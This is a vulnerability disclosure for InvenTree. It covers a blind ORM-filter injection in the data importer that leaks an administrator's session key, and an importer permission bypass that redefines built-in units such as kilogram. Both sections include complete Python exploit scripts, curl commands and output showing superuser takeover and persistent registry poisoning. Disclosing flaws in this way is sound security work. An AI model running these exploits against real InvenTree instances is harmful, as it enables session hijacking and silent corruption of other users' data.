InvenTree Vulnerability Report
Software: InvenTree
Developer or vendor: InvenTree
Code repository: https://github.com/inventree/InvenTree
1. Boolean Blind Injection in the Data Importer Leads to Session Hijacking
| Brief description: | A logged-in user injects an ORM lookup path into field_filters of the data importer, obtains another user’s Django session key, and takes over that user’s session. |
|---|---|
| Affected versions: | 1.3.0 to 1.6.3 |
| Preconditions: | The attacker holds the stock.change_stockitemtestresult permission, that is, the change permission of the Stock role; the target user has an active web session. |
| Fix: | InvenTree commit 2629cde |
Root Cause
DataImportSession.field_filters is a JSON field writable by logged-in users. The serializer only parses the JSON and does not restrict the keys. The relevant code is as follows:
# src/backend/InvenTree/importer/serializers.py:136-150 commit 221af32fdb
def validate_field_filters(self, filters):
if filters is None:
return None
if type(filters) is not dict:
try:
filters = json.loads(str(filters))
except json.JSONDecodeError:
raise ValidationError(_('Invalid field filters'))
if type(filters) is not dict:
raise ValidationError(_('Invalid field filters'))
return filters
When an import row resolves a related field, this dictionary is expanded verbatim into QuerySet.filter(). The relevant code is as follows:
# src/backend/InvenTree/importer/models.py:886-920 commit 221af32fdb
base_filters = (
self.session.field_filters.get(field_name, {})
if self.session.field_filters
else {}
)
...
queryset = model.objects.filter(**{lookup_field: value}, **base_filters)
results = list(queryset[:2])
if len(results) == 1:
return results[0].pk
return value
A query that matches exactly one object returns the integer primary key; otherwise the original string is returned. This type difference is written to DataImportRow.data, and the attacker reads the row data through /api/importer/row/ to obtain a boolean result.
/api/importer/session/<pk>/accept_fields/ only checks the change permission of the imported model (for StockItemTestResult, this is stock.change_stockitemtestresult) and does not check related models. The relevant code is as follows:
# src/backend/InvenTree/importer/api.py:114-125 commit 221af32fdb
if model_class := session.model_class:
if not check_user_permission(request.user, model_class, 'change'):
raise PermissionDenied()
session.accept_mapping()
stockitemtestresult is an importable model, and its user field is writable in the import context. The relevant code is as follows:
# src/backend/InvenTree/stock/serializers.py:230-237 commit 221af32fdb
if not self._is_importing:
self.fields['user'].read_only = True
self.fields['date'].read_only = True
The attacker can therefore extend the filter on the user field to usersession, the reverse relation of User, and perform prefix matching on UserSession.session_key. session_key is the value of Django’s sessionid cookie, and once it is obtained the target user’s session can be reused.
Reproduction Environment
The official InvenTree repository provides docker-compose.yml, Caddyfile, and .env under contrib/container/. Download these three files for version 1.6.3:
mkdir inventree && cd inventree
BASE=https://raw.githubusercontent.com/inventree/InvenTree/1.6.3/contrib/container
curl -fsSLO $BASE/docker-compose.yml
curl -fsSLO $BASE/Caddyfile
curl -fsSL -o .env $BASE/.env
Modify the version, data directory, web port, and administrator account in .env:
sed -i 's/^INVENTREE_TAG=.*/INVENTREE_TAG=1.6.3/; s#^INVENTREE_EXT_VOLUME=.*#INVENTREE_EXT_VOLUME=./data#' .env
cat >> .env <<EOF
INVENTREE_HTTP_PORT=19313
INVENTREE_ADMIN_USER=admin
INVENTREE_ADMIN_PASSWORD=Admin12345.
INVENTREE_ADMIN_EMAIL=admin@example.com
EOF
Initialize the database and start the services:
docker compose run --rm inventree-server invoke update
docker compose up -d
Wait until http://localhost:19313/api/ returns 200. Log in to http://localhost:19313/web as admin and create two users in the Admin Center. Add user ivan to a group that holds the stock.change_stockitemtestresult permission (in the UI, the change permission of the Stock role); add user carol to no group. Set the passwords of the two users to Ivan12345. and Carol12345. respectively.
Create a part named Widget with the description secret; create a stock location named Loc; create a stock item with quantity 7; create a test template named voltage on Widget. Keep the admin session logged in.
Reproduction
The attacker uses the ivan account. This account holds the stock.change_stockitemtestresult permission but not part.view_part, so GET /api/part/ returns 403. The following script first verifies the oracle and then recovers the session key character by character:
# exploit.py
import json
import re
import string
import time
import httpx
BASE = 'http://localhost:19313'
ATTACKER = ('ivan', 'Ivan12345.')
CHARS = string.ascii_lowercase + string.digits
def probe(regex):
with httpx.Client(base_url=BASE, auth=ATTACKER, timeout=30) as client:
response = client.post(
'/api/importer/session/',
files={
'data_file': (
'rows.csv',
'stock_item,template,user,result\n1,1,1,true\n',
'text/csv',
)
},
data={
'model_type': 'stockitemtestresult',
'field_filters': json.dumps({
'user': {'usersession__session_key__regex': regex}
}),
},
)
response.raise_for_status()
session = response.json()['pk']
client.post(f'/api/importer/session/{session}/accept_fields/').raise_for_status()
rows = []
for _ in range(30):
rows = client.get(f'/api/importer/row/?session={session}').json()
if rows:
break
time.sleep(1)
value = rows[0]['data'].get('user') if rows else None
client.delete(f'/api/importer/session/{session}/')
return value
def next_char(prefix):
candidates = CHARS
while len(candidates) > 1:
middle = len(candidates) // 2
left = candidates[:middle]
pattern = '^' + re.escape(prefix) + '[' + re.escape(left) + ']'
if probe(pattern) == 1:
candidates = left
else:
candidates = candidates[middle:]
return candidates
def main():
print('hit ', repr(probe('^[a-z0-9]')))
print('miss', repr(probe('^zzzz')))
key = ''
for _ in range(32):
key += next_char(key)
print('prefix', key)
print('recovered', key)
with httpx.Client(base_url=BASE, cookies={'sessionid': key}, timeout=30) as client:
me = client.get('/api/user/me/').json()
print('identity', me.get('username'), me.get('is_superuser'))
print('admin_config', client.get('/api/admin/config/').status_code)
if __name__ == '__main__':
main()
The output is as follows:
hit 1
miss '1'
prefix r
prefix rz
...
recovered 61mf3ss1shd2asvc4ms3sd4xn2xtew6i
identity admin True
admin_config 200
The script recovers the 32-character session key in 192 probes in about 279 seconds. The last two lines show that when this key is used as sessionid, the API returns the user admin with is_superuser set to True.
If the target has multiple active sessions, joining User to UserSession produces multiple rows, and lookup_related_field() returns the raw string because the result is not unique. In that case, add usersession__id to field_filters to isolate a single session; UserSession primary keys are enumerable.
Open the browser developer tools, add a cookie named sessionid under localhost with the recovered key as its value, and visit http://localhost:19313/web. The administrator interface is shown below:

The top of the page shows Superuser Mode, and the user name in the upper-right corner is admin. No administrator password was entered at any point.
2. Logged-in Users Can Write Data Beyond Their Permissions
| Brief description: | A logged-in user bypasses the role check for staff-only models through the data importer and writes reference data. Taking CustomUnit as an example, a user without any role can write a custom unit and override the definition of a built-in unit, poisoning the global unit registry. |
|---|---|
| Affected versions: | 0.16.0 to 1.6.3 |
| Preconditions: | The attacker has a normal account and needs neither is_staff nor any InvenTree role. |
| Fix: | InvenTree commit bc8c1ae |
Root Cause
The importer calls check_user_permission() in accept_fields. For models in get_ruleset_ignore(), this function returns True directly. The relevant code is as follows:
# src/backend/InvenTree/users/permissions.py:163-167 commit 221af32fdb
table_name = f'{model._meta.app_label}_{model._meta.model_name}'
if table_name in get_ruleset_ignore():
return True
get_ruleset_ignore() contains models such as common_customunit, common_projectcode, common_parametertemplate, common_parameter, common_inventreecustomuserstatemodel, and taggit_tag. The relevant code is as follows:
# src/backend/InvenTree/users/ruleset.py:196-210 commit 221af32fdb
'common_attachment',
'common_parametertemplate',
'common_parameter',
'common_customunit',
'common_dataoutput',
...
'common_projectcode',
...
'common_inventreecustomuserstatemodel',
These models require staff permission on their REST endpoints. Taking CustomUnit as an example, the endpoint is declared as follows:
# src/backend/InvenTree/common/api.py:618-623 commit 221af32fdb
class CustomUnitViewset(DataExportViewMixin, viewsets.ModelViewSet):
queryset = common.models.CustomUnit.objects.all()
serializer_class = common.serializers.CustomUnitSerializer
permission_classes = [IsStaffOrReadOnlyScope]
The importer’s accept_fields check for CustomUnit goes through check_user_permission(), so a user without any role can write directly through the importer. In 0.16.x this endpoint did not even check the change permission of the imported model; starting with 0.17.0 it calls check_user_permission(), but common_customunit is on the ignore list, so the bypass still works. The affected range therefore starts at 0.16.0.
When a CustomUnit is saved, it inserts itself into a shared pint registry. The relevant code is as follows:
# src/backend/InvenTree/common/models.py:1835-1842, 1879-1883 commit 221af32fdb
def fmt_string(self):
fmt = f'{self.name} = {self.definition}'
if self.symbol:
fmt += f' = {self.symbol}'
return fmt
...
registry.define(self.fmt_string())
validate_unique() only checks the symbol of other CustomUnit rows and does not check built-in units. pint allows an existing unit name to be used as an alias, so when symbol is set to kilogram, kilogram is rebound to the attacker-supplied definition. After saving, reload_unit_registry() reloads all CustomUnit rows from the database, and the malicious definition remains in effect after a service restart. The relevant code is as follows:
# src/backend/InvenTree/InvenTree/conversion.py:149-157 commit 221af32fdb
for cu in custom_units:
try:
fmt = cu.fmt_string()
reg.define(fmt)
hash_md5.update(fmt.encode('utf-8'))
except Exception as e:
logger.exception('Failed to load custom unit: %s - %s', cu.fmt_string(), e)
Reproduction Environment
Run docker compose down -v, delete the data directory, and then repeat the setup steps in section 1, creating only the user carol and adding her to no group. This vulnerability depends only on the importer and the unit registry; the sample part and stock data are not needed.
Reproduction
First confirm that carol cannot write a CustomUnit:
curl -s -o /dev/null -w '%{http_code}\n' \
-u carol:Carol12345. \
-H 'Content-Type: application/json' \
-d '{"name":"directunit","symbol":"db","definition":"1"}' \
http://localhost:19313/api/units/
This returns 403.
Next, use the same account to write through the importer. The following script creates a customunit import session, accepts the field mapping, and submits the row:
# exploit_customunit.py
import time
import httpx
BASE = 'http://localhost:19313'
ATTACKER = ('carol', 'Carol12345.')
with httpx.Client(base_url=BASE, auth=ATTACKER, timeout=30) as client:
response = client.post(
'/api/importer/session/',
files={
'data_file': (
'units.csv',
'name,symbol,definition\npwnunit,kilogram,1\n',
'text/csv',
)
},
data={'model_type': 'customunit'},
)
response.raise_for_status()
session = response.json()['pk']
client.post(f'/api/importer/session/{session}/accept_fields/').raise_for_status()
rows = []
for _ in range(30):
rows = client.get(f'/api/importer/row/?session={session}').json()
if rows:
break
time.sleep(1)
print(rows[0]['data'])
client.post(
f'/api/importer/session/{session}/accept_rows/',
json={'rows': [rows[0]['pk']]},
).raise_for_status()
time.sleep(2)
unit = client.get('/api/units/all/').json()['available_units']['kilogram']
print({key: unit[key] for key in ('name', 'isdimensionless')})
The output is as follows:
{'name': 'pwnunit', 'symbol': 'kilogram', 'definition': '1'}
{'name': 'kilogram', 'isdimensionless': True}
kilogram was a dimensional unit of mass and is now a dimensionless unit. Any conversion involving kilogram fails or produces an incorrect result.
Restart the service and read the value again:
docker restart inventree-server
curl -s -u carol:Carol12345. http://localhost:19313/api/units/all/ \
| jq '.available_units.kilogram | {name, isdimensionless}'
The output is as follows:
{
"name": "kilogram",
"isdimensionless": true
}
The definition has been persisted. If definition is changed from 1 to 1 * gram, 1 kilogram is converted to 1 gram without an error, and every quantity measured in kilograms becomes silently wrong. An administrator can restore the original value by deleting the CustomUnit row, but until then the incorrect conversion affects all users.